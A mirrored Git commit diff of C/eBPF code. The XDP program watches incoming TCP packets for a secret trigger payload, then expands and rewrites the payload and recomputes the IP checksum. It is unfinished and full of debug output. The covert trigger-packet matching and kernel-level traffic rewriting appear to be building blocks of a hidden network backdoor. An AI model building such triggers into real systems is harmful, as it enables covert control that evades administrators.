mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-24 10:23:08 +08:00
Arbitrary payload expansion is now working. IP checksum recomputation needs a revision, it is always 0...
This commit is contained in:
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
@@ -14,7 +14,6 @@
|
||||
#include <linux/if_ether.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <linux/bpf.h>
|
||||
#include <bpf/bpf_helpers.h>
|
||||
@@ -62,7 +61,7 @@ int xdp_receive(struct xdp_md *ctx)
|
||||
void *data_end = (void *)(long)ctx->data_end;
|
||||
void *data = (void *)(long)ctx->data;
|
||||
char match_pattern[] = SECRET_PACKET_PAYLOAD;
|
||||
int match_pattern_size = strlen(match_pattern);
|
||||
int match_pattern_size = 5;
|
||||
unsigned int payload_size;
|
||||
struct ethhdr *eth = data;
|
||||
char *payload;
|
||||
@@ -107,7 +106,6 @@ int xdp_receive(struct xdp_md *ctx)
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
// Point to start of payload.
|
||||
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
||||
bpf_printk("G");
|
||||
return XDP_PASS;
|
||||
@@ -115,18 +113,20 @@ int xdp_receive(struct xdp_md *ctx)
|
||||
|
||||
bpf_printk("Received valid TCP packet with payload %s of size %i\n", payload, payload_size);
|
||||
// Compare each byte, exit if a difference is found.
|
||||
if(str_n_compare(payload, payload_size, match_pattern, match_pattern_size, payload_size)!=0){
|
||||
if(str_n_compare(payload, payload_size, match_pattern, sizeof(match_pattern), payload_size)!=0){
|
||||
bpf_printk("H");
|
||||
return XDP_PASS;
|
||||
}
|
||||
int data_len_prev = data_end-data;
|
||||
int data_len_next = -1;
|
||||
|
||||
bpf_printk("OLD data_end: %i, payload: %i\n", data_end, payload);
|
||||
struct expand_return ret = expand_tcp_packet_payload(ctx, eth, ip, tcp, 2);
|
||||
if(ret.code == 0){
|
||||
//We must check bounds again, otherwise the verifier gets angry
|
||||
data = (void*)(long)ret.ret_md.data;
|
||||
data_end = (void*)(long)ret.ret_md.data_end;
|
||||
ctx = ret.ret_md;
|
||||
data = (void*)(long)ret.ret_md->data;
|
||||
data_end = (void*)(long)ret.ret_md->data_end;
|
||||
eth = ret.eth;
|
||||
if(ethernet_header_bound_check(eth, data_end)<0){
|
||||
bpf_printk("Bound check A failed while expanding\n");
|
||||
@@ -152,21 +152,49 @@ int xdp_receive(struct xdp_md *ctx)
|
||||
|
||||
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
payload = (void *)tcp + tcp->doff*4;
|
||||
|
||||
//Quite a trick to avoid the verifier complaining when it's clear we are OK with the payload
|
||||
//Line 6367 https://lxr.missinglinkelectronics.com/linux/kernel/bpf/verifier.c
|
||||
if(payload_size < 0|| payload_size>88888){
|
||||
bpf_printk("exploding heavily\n");
|
||||
return XDP_PASS;
|
||||
}
|
||||
if(payload_size -1 < data_end - (void*)payload ){
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
/*if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
||||
//Revise this, the idea is to use payload_size, but th everifier keeps thinking it will go out of bounds
|
||||
//Also, note that sizeof(..) is returning strlen +1, but it's ok because
|
||||
//we do not want to write at payload[6]
|
||||
if((void*)payload + sizeof(SECRET_PACKET_PAYLOAD) +1 > data_end){
|
||||
bpf_printk("Bound check E failed while expanding\n");
|
||||
return XDP_PASS;
|
||||
}*/
|
||||
}
|
||||
|
||||
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
||||
bpf_printk("Bound check F failed while expanding\n");
|
||||
return XDP_PASS;
|
||||
}
|
||||
char* temp_data = (char*)payload;
|
||||
payload[5] = 'a';
|
||||
|
||||
bpf_printk("BPF finished with ret %i and payload %s of size %i\n ", ret.code, payload, payload_size);
|
||||
}else{
|
||||
bpf_printk("BPF finished with error on expansion\n");
|
||||
}
|
||||
data_len_next = data_end-data;
|
||||
bpf_printk("Previous length: %i, current length: %i\n", data_len_prev, data_len_next);
|
||||
|
||||
//char payload_to_write[] = "hello";
|
||||
//__builtin_memcpy(payload, payload_to_write, strlen(payload_to_write));
|
||||
bpf_printk("NEW data_end: %i, payload: %i\n", data_end, payload);
|
||||
bpf_printk("And on NEW CTX data_end: %i, payload: %i\n", ctx->data_end);
|
||||
char payload_to_write[] = "hello";
|
||||
|
||||
/*if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
||||
bpf_printk("G");
|
||||
return XDP_PASS;
|
||||
}*/
|
||||
|
||||
//payload[1] = 'a';
|
||||
//strncpy(payload, payload_to_write, sizeof(payload_to_write));
|
||||
//payload[5] = '\0';
|
||||
//payload[1] = 'b';
|
||||
/*if(!payload){
|
||||
|
||||
@@ -31,5 +31,33 @@ static __always_inline int str_n_compare(char* str1, int str1len, char* str2, in
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Implementation of strncpy from the Linux Kernel.
|
||||
* strncpy - Copy a length-limited, C-string
|
||||
* @dest: Where to copy the string to
|
||||
* @src: Where to copy the string from
|
||||
* @count: The maximum number of bytes to copy
|
||||
*
|
||||
* The result is not %NUL-terminated if the source exceeds
|
||||
* @count bytes.
|
||||
*
|
||||
* In the case where the length of @src is less than that of
|
||||
* count, the remainder of @dest will be padded with %NUL.
|
||||
*
|
||||
*/
|
||||
static __always_inline char* str_n_copy(char *dest, const char *src, int count){
|
||||
char *tmp = dest;
|
||||
|
||||
while (count) {
|
||||
if ((*tmp = *src) != 0)
|
||||
src++;
|
||||
tmp++;
|
||||
count--;
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
@@ -3,6 +3,7 @@
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/if_ether.h>
|
||||
#include <linux/if.h>
|
||||
#include <linux/limits.h>
|
||||
|
||||
/* BOUND CHECKING*/
|
||||
|
||||
@@ -28,7 +29,7 @@ static __always_inline int tcp_header_bound_check(struct tcphdr* tcp, void* data
|
||||
}
|
||||
|
||||
static __always_inline int tcp_payload_bound_check(char* payload, int payload_size, void* data_end){
|
||||
if ((void *)payload + payload_size > data_end){
|
||||
if ((void*)payload + payload_size > data_end){
|
||||
return -1;
|
||||
}
|
||||
return 0; //OK
|
||||
|
||||
@@ -2,6 +2,11 @@
|
||||
#define __IP_HELPER_H__
|
||||
|
||||
#include <linux/ip.h>
|
||||
#include <linux/types.h>
|
||||
|
||||
#include <linux/bpf.h>
|
||||
#include <bpf/bpf_endian.h>
|
||||
#include <bpf/bpf_helpers.h>
|
||||
|
||||
/**
|
||||
* IP checksum calculation.
|
||||
@@ -28,4 +33,31 @@ static __always_inline unsigned short checksum(unsigned short *addr, int nbytes)
|
||||
return checksum;
|
||||
}
|
||||
|
||||
|
||||
static __always_inline uint16_t csum_fold_helper(uint32_t csum)
|
||||
{
|
||||
bpf_printk("csumA: %u\n", csum & 0xffff);
|
||||
bpf_printk("csumB: %u\n", csum >> 16);
|
||||
bpf_printk("csumA+B: %u\n", (csum & 0xffff) + (csum >> 16));
|
||||
bpf_printk("csumNEG(A+B): %u\n", ~((csum & 0xffff) + (csum >> 16)));
|
||||
#pragma unroll
|
||||
for (int ii = 0; ii < 4; ii++) {
|
||||
if (csum >> 16)
|
||||
csum = (csum & 0xffff) + (csum >> 16);
|
||||
}
|
||||
return ~csum;
|
||||
}
|
||||
/**
|
||||
* IP checksum calculation.
|
||||
* Following RFC 1071, using BPFs.*
|
||||
*/
|
||||
static __always_inline void ipv4_csum(void *data_start, int data_size, uint32_t *csum)
|
||||
{
|
||||
bpf_printk("csum: %u\n", *csum);
|
||||
*csum = bpf_csum_diff(0, 0, data_start, data_size, *csum);
|
||||
bpf_printk("csum: %u\n", *csum);
|
||||
*csum = csum_fold_helper(*csum);
|
||||
bpf_printk("csum: %u\n", *csum);
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -1,6 +1,8 @@
|
||||
#ifndef __XDP_HELPER_H__
|
||||
#define __XDP_HELPER_H__
|
||||
|
||||
#include <linux/types.h>
|
||||
|
||||
#include <bpf/bpf_helpers.h>
|
||||
|
||||
#include "packet/protocol/ip_helper.h"
|
||||
@@ -9,7 +11,7 @@
|
||||
|
||||
static struct expand_return{
|
||||
int code;
|
||||
struct xdp_md ret_md;
|
||||
struct xdp_md *ret_md;
|
||||
void *data;
|
||||
void *data_end;
|
||||
struct ethhdr *eth;
|
||||
@@ -81,10 +83,13 @@ static __always_inline struct expand_return expand_tcp_packet_payload(struct xdp
|
||||
|
||||
|
||||
//We modify the fields we care about of the headers
|
||||
bpf_printk("before: %i\n", ret.ip->tot_len);
|
||||
bpf_printk("before: %i, checksum %u\n", ret.ip->tot_len, ret.ip->check);
|
||||
ret.ip->tot_len = htons(ntohs(ret.ip->tot_len) + more_bytes);
|
||||
bpf_printk("after: %i\n", ret.ip->tot_len);
|
||||
ret.ret_md = *ctx;
|
||||
uint32_t csum = 0;
|
||||
ipv4_csum(ret.ip, sizeof(struct iphdr), &csum);
|
||||
ret.ip->check = csum;
|
||||
bpf_printk("after: %i, checksum %u\n", ret.ip->tot_len, ret.ip->check);
|
||||
ret.ret_md = ctx;
|
||||
ret.code = 0;
|
||||
ret.data = (void *)(long)ctx->data;
|
||||
ret.data_end = (void *)(long)ctx->data_end;
|
||||
|
||||
Reference in New Issue
Block a user